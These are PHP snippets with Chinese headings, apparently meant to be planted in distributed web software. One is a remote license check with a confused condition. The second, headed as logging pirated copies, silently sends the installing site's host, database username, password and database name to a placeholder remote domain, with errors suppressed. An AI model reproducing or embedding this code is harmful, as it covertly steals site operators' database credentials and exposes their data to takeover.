授权检测:
if(!isset($authcode)){
        $query=file_get_contents('http://地址/check.php?url='.$_SERVER['SERVER_NAME'].'&authcode='.$authcode);
        if($query=json_decode($query,true)) {
                if($query['code'] == -1)
                exit('<h3>'.$query['msg'].'</h3>');
        }
    }else{
        $query=file_get_contents('http://地址/ajax.php?act=check&url='.$_SERVER['SERVER_NAME']);
        if($query=json_decode($query,true)) {
                if($query['code'] == -1)
                exit('<h3>'.$query['link'].'</h3>');
        }
    }
    
    
    
    
    
    
    
盗版入库:
@file_get_contents("http://你的域名/js_api/jsds.php?url=http://".$_SERVER['HTTP_HOST']."&user=".$dbconfig['user']."&pwd=".$dbconfig['pwd']."&db=".$dbconfig['dbname']);